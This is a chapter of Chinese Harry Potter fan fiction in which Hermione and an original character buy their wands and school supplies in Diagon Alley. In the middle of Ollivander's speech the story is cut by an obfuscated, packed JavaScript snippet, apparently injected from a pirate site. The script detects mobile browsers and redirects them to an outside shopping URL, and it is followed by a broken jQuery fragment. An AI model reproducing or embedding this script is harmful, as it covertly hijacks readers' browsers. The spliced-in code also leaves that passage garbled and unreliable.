4. 第 4 章
    七月的第二周,赫敏终于看完了从娜斯缇亚家里抱来的所有书。

    她们去了一趟对角巷,准备把开学要用的东西买回来。为此,娜斯缇亚特地带了一只施了空间咒语的托特包。

    这个空间咒是伊丽莎白几年前为了圣诞节采购自创的咒语。它能使一件物品成为媒介,在一定范围内连接两个空间。当然,这个媒介的开口要足够大,能容纳放进去的物品。

    娜斯缇亚连通了它和停在破釜酒吧附近的小车后备箱。

    如果不是担心会在对角巷寸步难行,她一定会拖一个行李箱来。

    在破釜酒吧,她们还听到了一个振奋人心的消息:哈利·波特——那个大难不死的男孩——回来了。

    一个叫“海格”的人带着他来对角巷采买东西。据说,他将在今年前往霍格沃茨报道。

    “看来他不是你说的那种……呃,不会魔法的巫师。”和娜斯缇亚一样,赫敏对“哑炮”这个词有些难以启齿。

    “嘿,别这样,我只对你和伊莱莎说了这件事。她已经写信跟我解释了实际情况。”

    “什么?你居然又没告诉我?”

    娜斯缇亚一愣,手忙脚乱地解释:“我本来想说的!真的!但伊莱莎随信送了一瓶柔顺剂给你,我转个身就把这事给忘了。”

    “好吧,看在柔顺剂的份上。所以实际情况是?”

    “德思礼一家——也就是哈利的姨妈一家,是他的监护人,费格太太恰好住在他家附近,偶尔会照看他。他不但会魔法,小时候似乎还和我一样出过大乱子。”

    赫敏哼了一声:“这有什么的,我想麻瓜应该是察觉不出来的。毕竟他们不管遇到再离奇的事都会自我合理化。”

    “嘿!我们说好不再提这件事的。”娜斯缇亚抗议道。

    赫敏冲她吐吐舌头。

    尽职尽责的导游格雷小姐轻车熟路地带着格兰杰一家来到古灵阁换钱,并给自己取了一小袋金加隆。

    在她的劝说下,第一站是奥利凡德的魔杖店(天知道赫敏有多想一头钻进书店)。

    两个女孩之前偷偷练习咒语,用的都是亚伦的旧魔杖。一想到马上要有属于自己的魔杖,娜斯缇亚和赫敏都有些兴奋。

    不知是不是临近开学,对角巷的人很多。赫敏一手拉着娜斯缇亚、一手拽着父母,生怕其中的哪一个走丢。

    魔杖店又小又破,还十分不起眼。但娜斯缇亚已经对它的位置非常熟悉。

    “格雷小姐,好久不见。”奥利凡德先生的形象完全符合格兰杰夫妇对巫师的猜想——苍白的皮肤、神秘优雅的气质,还有那双仿佛参透一切奥秘的浅色眼睛。

    “您好,先生。”娜斯缇亚微笑着向他问好。

    “我还记得当年你陪韦斯莱那家的双胞胎来买魔杖……那时候你就想要一支自己的魔杖。现在你12岁了,是不是?”

    他用很轻柔的声音说话,但是说出来的话却让她恨不得找个地缝钻进去。

    “是的,但我想让我朋友先挑选。”娜斯缇亚结结巴巴地说完,把嗤嗤笑着的赫敏推上前。

    “不……我想……”奥利凡德先生鼓励的目光和微笑让赫敏把剩下的话吞了回去,“好吧。”

    他掏出一条闪着银光的卷尺,为她们一一量好了尺寸。

    娜斯缇亚和赫敏的惯用手都是右手。

    “对于年轻的巫师,我这总有一些适合你们的魔杖……我记得,你父亲的魔杖是柏木做的,当然,他是一名勇士;你母亲选中的是栗木魔杖,啊,她很优秀,在魔咒方面很有天赋。”他一边聊着天,一边抽出一些长匣子。

    不仅是两个年轻女孩,格兰杰夫妇也专注地盯着他。

    奥利凡德将那些长匣子摆在面前,抽出一支递给赫敏:“那么,格兰杰小姐,先试试这支。”

    赫敏有些僵硬地接过他手里的魔杖,还没来得及照他说的挥上一下,就被喊了停。

    “不不,我想这一支更合适……”他嘴里念叨着一些令人云里雾里的话,又塞给赫敏一支魔杖。

    赫敏尝试着挥了一下手中的魔杖。

    她脑袋上的灯泡忽然“嗤”一声灭了。

    “哦——抱歉先生。”她的脸都憋红了,整个人看起来像一只抱着苹果的小刺猬,试图把自己藏进灌木丛里。

    娜斯缇亚拍拍她手臂:“放心吧,赫敏,我记得之前弗雷德试魔杖的时候差点把店里的玻璃砸碎了。”

    赫敏看起来一点也没有放下心。她“嗖”地放下了魔杖,在奥利凡德先生鼓励的微笑中接过一支新的。

    这次没有再发生什么,但赫敏似乎也没感觉到什么特别的,咬着唇放下了第三支魔杖。

    奥利凡德先生看起来反倒很高兴,仿佛接下了某种挑战般兴奋:“哦,别灰心,格兰杰小姐,再挑剔的顾客都能在这里找到最理想、最完美、最适合的魔杖。让我想想——”

    他又返回货架翻找起来。

    赫敏握住好朋友的手。

    娜斯缇亚感受到她的紧张,挠了挠她的手心。

    她笑了起来,露出可爱的兔牙。

    奥利凡德先生这次挑拣了近乎一分半钟,他高兴地抽出一支新匣子的时候,不小心连带着另一支匣子滚落下来。

    “我早该注意到它,看,它已经迫不及待想和你见面了。”奥利凡德先生显然无暇顾及,“来,格兰杰小姐,拿着它。”

    娜斯缇亚上前,将地上的匣子捡起来。

    一蹲一站的功夫,赫敏已经握上了新魔杖。

    “我感觉手心热热的。”她惊喜地说。

    娜斯缇□□不自禁地将匣子一搂,鼓起掌来。

    “来,试一试——”

    在所有人鼓励的眼神中,赫敏试了试她们前些天练习的咒语。

    “Lumos。”

    一道光在略显昏暗的小店亮起。

    格兰杰夫妇发出一声惊呼。

    “好极了!葡萄藤木,龙心弦,十又四分之三英寸长——格兰杰小姐,我敢说你一定会成为一名优秀的巫师,葡萄藤木总是喜欢选择有远见和追求的巫师。”

    赫敏的脸变得通红,结结巴巴地向奥利凡德先生道谢。她又看了娜斯缇亚一眼,似乎很不好意思地扑进珍妮弗怀里。

    娜斯缇亚也很兴奋:“龙芯是威力最大的魔杖!”

    “是的——噢,格雷小姐,我注意到你已经拿着一支魔杖了,为什么不试一试呢?”

    娜斯缇亚显然没反应过来,惊愕道:“这支吗?”

    但她还是依言将它抽了出来。

    事实上,在打开匣子的时候,她已经察觉到它的特殊和不同寻常。

    “嘿!我想它蛮喜欢我的。”娜斯缇亚惊喜地举起魔杖,毫不犹豫地施出咒语,“Lumos!”

    一道光线从魔杖顶端冲出来,射在墙壁上,照亮了赫敏闪闪发光的眼睛。

    她朝娜斯缇亚笑着,倚过去给了对方一个拥抱。

    “妙极了!我敢说,妙不可言!山毛榉,龙心弦,十一又四分之一英寸长——和格兰杰小姐的那支出自一对火龙,我不会记错!”奥利凡德

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437133|141476||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    先生的眼里闪烁着兴奋的光,“美妙的组合,格雷小姐。山毛榉偏爱那些心理年龄超出实际年龄的年轻巫师,相信你远比同龄人有着更深的智慧和包容心。”

    说实话,她已经没办法认真听进去他的后一句话:“一对火龙?”

    是她理解的那个“一对”?

    奥利凡德先生微笑着点点头:“是的,一对。”

    娜斯缇亚和赫敏对视了一眼,同时握紧手中的魔杖。

    “好了,孩子们,让我来帮你们把它包起来。”

    “收你们一人7加隆,承蒙惠顾。保管好你们的魔杖——后来的总不如头一根好。”奥利凡德先生用棕色纸分别包好二人的魔杖,递还给她们。

    娜斯缇亚和珍妮弗分别从口袋掏出7枚金币,随即前往下一站。

    赫敏果然对猫头鹰不感冒。而娜斯缇亚早早就已经有了一只宠物,她的名字叫“兔牙”,是一只毛色很像赫敏的棕色长耳猫头鹰。

    约定好到时候一起分担猫头鹰的零食、共用兔牙之后,她们走进了维泽埃克魔法用品店。

    娜斯缇亚一进去就走不动道了,渴望的目光黏在货架上琳琅满目的商品上,这里看看、那里摸摸。

    “说实话,我早就想买一只自动搅拌的坩埚了。也许我能同时熬两锅药剂,对比一下它和我自己动手有什么区别……”

    “你看,这个坩埚可以折叠到这么小——我之前还没见过这么便携的呢。”

    “哦,我要换一套刀具了,赫敏你瞧,它的刀刃多么锋利啊,要是用这个解剖材料,不知道能省多少事。”

    赫敏把喋喋不休的娜斯缇亚硬拖出了店里——但她没拦住对方下单水晶的小药瓶,反而被劝着也买一套。

    “这是为了保证药剂的品质。”娜斯缇亚坚持这么说。

    *

    接下来的行程是定制校袍。

    大家似乎都默认“书店不是第一站,那就只能是最后一站”的原则。

    路过飞天扫帚店的时候,橱窗摆着最新款的“光轮2000”,娜斯缇亚嫌弃地看着那些橱窗前狂热的小脑袋:“一年级不能带飞天扫帚真是学校做的最明智的决定,我简直不敢想象,那些毛毛躁躁的家伙横冲直撞起来会是一副什么惨状。”

    “我还以为你会喜欢呢,”赫敏说,“你不是对球类运动挺感兴趣的吗?”

    “哦,不,”娜斯缇亚说,“伊莱莎读书的时候是拉文克劳院队的守门员,她在第一场比赛就被撞下了飞天扫帚,脖子差点摔断,手臂和大腿都骨折了。可怕的是,她对魁地奇依然十分狂热。自打听说这件事起,我就知道这项运动不适合我。”

    “哦,我怎么感觉我听说过这件事?”珍妮弗差点跳了起来,“伊莱莎又骗我!她和我说是玩橄榄球的时候受的伤。”

    娜斯缇亚莫名心虚,移开了视线。

    *

    从对角巷离开的时候,两个女孩手里都握着一支两个球的甜筒。

    娜斯缇亚坚持要请客,说是上次说好的赔礼。

    很难想象一个人会对魔法史这么感兴趣。赫敏买了好几本书,试图从全方位补上前12年没见过的巫师界历史。

    娜斯缇亚也额外买了一本《魔法!让生活变简单》。

    掌握一些不那么难又好用的咒语是很有必要的——当然,为了更好的偷懒。

    “比如,防水防湿咒可以让你再也不用带雨伞;召唤咒可以让你躺在床上,一步也不用挪动就拿到零食。”

    赫敏对此嗤之以鼻,但是表示会陪她一起练习。